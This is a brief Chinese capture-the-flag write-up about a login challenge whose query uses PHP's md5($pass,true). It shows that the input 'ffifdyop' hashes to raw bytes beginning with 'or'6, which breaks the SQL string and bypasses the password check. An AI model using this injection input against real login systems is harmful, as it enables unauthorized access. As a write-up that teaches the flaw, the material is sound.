一、打开题目,页面简单,源码也没有提示,使用火狐查看元素查看返回头发现hint:”select * from admin
where password='”.md5($pass,true).”‘”
输入ffifdyop获得flag
二、原理分析
md5(string,raw)
参数 | 描述 |
---|---|
string | 必需。规定要计算的字符串。 |
raw | 可选。规定十六进制或二进制输出格式: TRUE – 原始 16 字符二进制格式 FALSE – 默认。32 字符十六进制数 |
当raw选项为ture时,以16字符二进制显示散列值(把散列值当成16进制表示的二进制数据)此时,选取一些特殊字符串,如 ffifdyop
ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
‘or’6和sql查询语句构成sql注入。
select * from admin
where password=’ or ‘6……